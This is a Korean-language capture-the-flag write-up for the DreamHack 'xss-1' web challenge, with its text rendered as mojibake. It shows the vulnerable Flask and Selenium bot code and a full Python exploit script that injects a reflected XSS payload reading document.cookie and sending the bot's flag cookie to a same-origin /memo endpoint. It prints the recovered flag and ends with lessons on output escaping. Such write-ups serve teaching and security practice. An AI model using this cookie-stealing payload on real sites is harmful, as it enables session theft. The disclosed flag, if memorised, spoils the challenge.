๋ฌธ์ : DreamHack โ xss-1 ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{2c01577e9542ec24d68ba0ffb846508e}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | xss-1 |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Web (Flask + Selenium ๋ด) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | app.py ๋ฑ ์์ค ์ผ์ฒด / http://<instance-host>:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | reflected XSS๋ก ๋ด์ flag ์ฟ ํค ํ์ทจ โ /memo๋ก exfil |
์ฌ๋ฌ ๊ธฐ๋ฅ๊ณผ "์ ๋ ฅ๋ฐ์ URL์ ํ์ธํ๋ ๋ด"์ด ์๋ ์๋น์ค๋ค. ํ๋๊ทธ๋ ๋ด์ ์ฟ ํค์ ๋ค์ด๊ฐ๊ณ , ๊ทธ ๋ด์ด ๋ด๊ฐ ์ค ํ์ด์ง๋ฅผ ์ง์ ์ด์ด๋ณธ๋ค. ๊ทธ๋ฌ๋ ๋ด์ ๋ธ๋ผ์ฐ์ ์์์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์์ผ ์ฟ ํค๋ฅผ ๋นผ๋ด๋ ๊ฒ ๋ชฉํ๋ค. ๋นผ๋ธ ๊ฐ์ ๋ณด๋ผ ๊ณณ๋ ๋ฉ๋ฆฌ ๊ฐ ๊ฒ ์์ด ์๋น์ค ์์ ์ด๋ฏธ ์๋ค.

๐ฌ ๋ถ์ โ ์ธ ์๋ํฌ์ธํธ๊ฐ ํ ์ค๋ก ๊ฟฐ์ธ๋ค
app.py์์ ๋ณผ ๊ณณ์ ์
์ด๋ค.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param # ์ด์ค์ผ์ดํ ์์ด ๊ทธ๋๋ก ๋ฐํ โ reflected XSS
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n" # ์ ์ญ์ ๋์ ์ ์ฅ
return render_template("memo.html", memo=memo_text)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "POST":
param = request.form.get("param")
# ๋ด์ด flag ์ฟ ํค๋ฅผ ๋จ ์ฑ ์ฐ๋ฆฌ๊ฐ ์ค param์ผ๋ก /vuln ์ ๋ฐฉ๋ฌธํ๋ค
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'/vuln์ param์ ํ ๊ธ์๋ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๊ทธ๋๋ก ์๋ต ๋ณธ๋ฌธ์ผ๋ก ๋๋ ค์ค๋ค. <script>๋ฅผ ๋ฃ์ผ๋ฉด ๊ทธ๋๋ก ์คํ๋๋ค โ ๊ต๊ณผ์์ ์ธ reflected XSS๋ค.

๋ด์ check_xss โ read_url์์ ๋์ํ๋ค.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
...
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie) # flag ๋ฅผ ์ฟ ํค๋ก ์ถ๊ฐ
driver.get(url) # /vuln?param=<์ฐ๋ฆฌ payload> ๋ฐฉ๋ฌธ
def check_xss(param, cookie=...):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)/flag์ param์ POSTํ๋ฉด ๋ด(headless Chrome)์ด flag=DH{...} ์ฟ ํค๋ฅผ ๋จ ์ํ๋ก /vuln?param=<๋ด payload>๋ฅผ ์ฐ๋ค. ์ฆ ๋ด ์คํฌ๋ฆฝํธ๊ฐ ๋ด ๋ธ๋ผ์ฐ์ ์์, ํ๋๊ทธ ์ฟ ํค๊ฐ ์ด์์๋ ์ฑ๋ก ์คํ๋๋ค. document.cookie๋ง ์ฝ์ผ๋ฉด ํ๋๊ทธ๊ฐ ์์ ๋ค์ด์จ๋ค.
๋ฌธ์ ๋ "์ด๋๋ก ๋ณด๋ด๋๋"์ธ๋ฐ, /memo๊ฐ ๊ทธ ์๋ฆฌ์ ์๋ค. ์
๋ ฅ์ ์ ์ญ memo_text์ ์ฐจ๊ณก์ฐจ๊ณก ์์๋๊ณ ๊ทธ๋๋ก ๋ณด์ฌ์ฃผ๋ ์๋ํฌ์ธํธ๋ค. ์ธ๋ถ ์์ ์๋ฒ๋ฅผ ๋์ธ ํ์ ์์ด, ๋ด์ด ํ์น ์ฟ ํค๋ฅผ ์ฌ๊ธฐ๋ก ์ ์ด๋๊ฒ ํ ๋ค ๋ด๊ฐ /memo๋ฅผ ์ด์ด ์ฝ์ผ๋ฉด ๋๋ค.
๐ฃ ํต์ฌ โ ๋ด์ด ์๊ธฐ ์ฟ ํค๋ฅผ memo์ ์ ๊ฒ ๋ง๋ ๋ค
๋
ธ๋ฆด ๊ณณ์ ์ ํด์ก๋ค. ๋ด ๋ธ๋ผ์ฐ์ ์์ document.cookie๋ฅผ ์ฝ์ด /memo?memo=๋ก ๋๊ธฐ๋ ํ ์ค์ด๋ฉด ๋๋ค.
<script>location.href="/memo?memo="+document.cookie</script>๋ด์ด /vuln์์ ์ด ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ฉด ๊ณง์ฅ /memo?memo=flag=DH{...}๋ก ์ด๋ํ๋ค. ๊ทธ ์๊ฐ ์๋ฒ์ memo_text์ ํ๋๊ทธ ์ฟ ํค๊ฐ ์ ์ฅ๋๋ค. ๋ด์ ์๊ธฐ ์ผ์ ๋ง์น๊ณ ์ฌ๋ผ์ง์ง๋ง, ์ ์ด๋ ๋ฉ๋ชจ๋ ์ ์ญ ๋ณ์๋ผ ๋จ๋๋ค.
์ด์ ๋ด๊ฐ ํ๋ฒํ๊ฒ /memo๋ฅผ GETํ๋ฉด, ๋ด์ด ๋จ๊ธด ์ค์ด ๊ทธ๋๋ก ๋ณด์ธ๋ค.

/flag ํ์ด์ง์ ํผ์ http://127.0.0.1:8000/vuln?param= ๋ค์ ๋ด ์
๋ ฅ์ ๋ถ์ด๋ ๊ตฌ์กฐ๋ผ, ์
๋ ฅ๋์ ์ ์คํฌ๋ฆฝํธ๋ง ๋ฃ์ด ์ ์ถํ๋ฉด ๋๋ค.

๐ Full Exploit
ํผ ๋์ requests๋ก ๋ ๋ฒ ์๋ฉด ๋๋๋ค. /flag์ payload๋ฅผ POSTํด ๋ด์ ๋๋ฆฌ๊ณ , /memo๋ฅผ ์ฝ์ด ํ์ํ๋ค.
#!/usr/bin/env python3
import re
import requests
BASE = "http://host3.dreamhack.games:21789"
# ๋ด ๋ธ๋ผ์ฐ์ ์์ ์คํ๋์ด flag ์ฟ ํค๋ฅผ /memo ๋ก ํ๋ ค๋ณด๋ด๋ ํ์ด๋ก๋
payload = '<script>location.href="/memo?memo="+document.cookie</script>'
# 1) /flag POST โ ๋ด์ด flag ์ฟ ํค๋ฅผ ๋ค๊ณ /vuln ์์ payload ์คํ โ /memo ์ ์ฟ ํค ์ ์ฅ
r = requests.post(f"{BASE}/flag", data={"param": payload}, timeout=15)
print(f"[*] /flag ์๋ต: {r.text.strip()}")
# 2) /memo GET โ ๋ด์ด ์ ์ฅํ document.cookie(=flag=...) ํ์
r = requests.get(f"{BASE}/memo", timeout=15)
memo = re.search(r"<pre>(.*?)</pre>", r.text, re.S).group(1)
print(f"[*] /memo ๋ด์ฉ:\n{memo.strip()}")
m = re.search(r"DH\{[^}]+\}", memo)
print(f"\n[+] FLAG: {m.group(0) if m else '(๋ชป ์ฐพ์)'}")[*] /flag ์๋ต: <script>alert("good");history.go(-1);</script>
[*] /memo ๋ด์ฉ:
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
[+] FLAG: DH{2c01577e9542ec24d68ba0ffb846508e}๋ด์ด good์ ๋๋ ค์ค ๊ฑด ์คํฌ๋ฆฝํธ๊ฐ ์๋ฌ ์์ด ๋์๋ค๋ ๋ป์ด๊ณ , /memo์๋ ๋ด์ด ๋ค๊ณ ์๋ ์ฟ ํค๊ฐ ๊ทธ๋๋ก ์ ํ ์๋ค.

DH{2c01577e9542ec24d68ba0ffb846508e}๐ ์ ๋ฆฌ
์ถ๋ ฅ ์ง์ ์์ ์ด์ค์ผ์ดํ๋ฅผ ๋นผ๋ฉด ๊ทธ๊ฒ XSS๋ค.
/vuln์ param์ ๊ทธ๋๋ก ๋ฐํํ๋ค. Jinja2์ ์๋ ์ด์ค์ผ์ดํ๋ฅผ ๊ฑฐ์น์ง๋ ์๊ณ ๋ฌธ์์ด์ ์ง์ ๋๋ ค์ฃผ๋, ์
๋ ฅ์ด ๊ณง ๋งํฌ์
์ด ๋๋ค. ์ฌ์ฉ์ ์
๋ ฅ์ HTML๋ก ๋ด๋ณด๋ผ ๋ ๋ฐ๋์ ์ด์ค์ผ์ดํํ๊ฑฐ๋ ํ
ํ๋ฆฟ ์์ง์ ๊ฑฐ์ณ์ผ ํ๋ค.
ํ์น ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ผ ๊ณณ์ ๊ผญ ์ธ๋ถ์ผ ํ์๊ฐ ์๋ค.
๋ณดํต XSS ์ฟ ํค ํ์ทจ๋ผ๊ณ ํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ๋ก fetch/Image๋ฅผ ์๋ ๊ทธ๋ฆผ์ ๋ ์ฌ๋ฆฐ๋ค. ๊ทธ๋ฐ๋ฐ ์ด ๋ฌธ์ ๋ ์
๋ ฅ์ ์ ์ฅํ๊ณ ๋๋๋ ค์ฃผ๋ /memo๊ฐ ๊ฐ์ ์ถ์ฒ์ ์์ด์, ๋ด์ด ๊ทธ์ชฝ์ผ๋ก ํ ๋ฒ ์ด๋ํ๊ฒ๋ง ํด๋ ํ์๊ฐ ๋๋๋ค. ๋์ผ ์ถ์ฒ๋ผ CORSยท์ฟ ํค ๋๋ฉ์ธ ๋ฌธ์ ๋ ์๋ค.
๋ด์ ์ ๋ขฐ๋ ์ปจํ ์คํธ๋ฅผ ๋์ ์คํํด์ค๋ค.
ํ๋๊ทธ๋ ๋ด์ ์ฟ ํค์๋ง ์๊ณ ๋๋ ๊ทธ ๊ฐ์ ๋ชจ๋ฅธ๋ค. ํ์ง๋ง ๋ด์ด ๊ทธ ์ฟ ํค๋ฅผ ๋จ ์ฑ ๋ด ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด์ฃผ๋, ๋ด๊ฐ ์ง์ ๋ชป ์ฝ๋ ๊ฐ์ ๋ด์ ์์ ๋น๋ ค ์ฝ์ด๋ธ ์ ์ด๋ค. ์ ๋ ฅ URL์ ๊ทธ๋๋ก ์ด์ด๋ณด๋ ๋ด์ด ์๋ค๋ฉด ๊ทธ ์์ฒด๊ฐ ๊ณต๊ฒฉ ํ๋ฉด์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ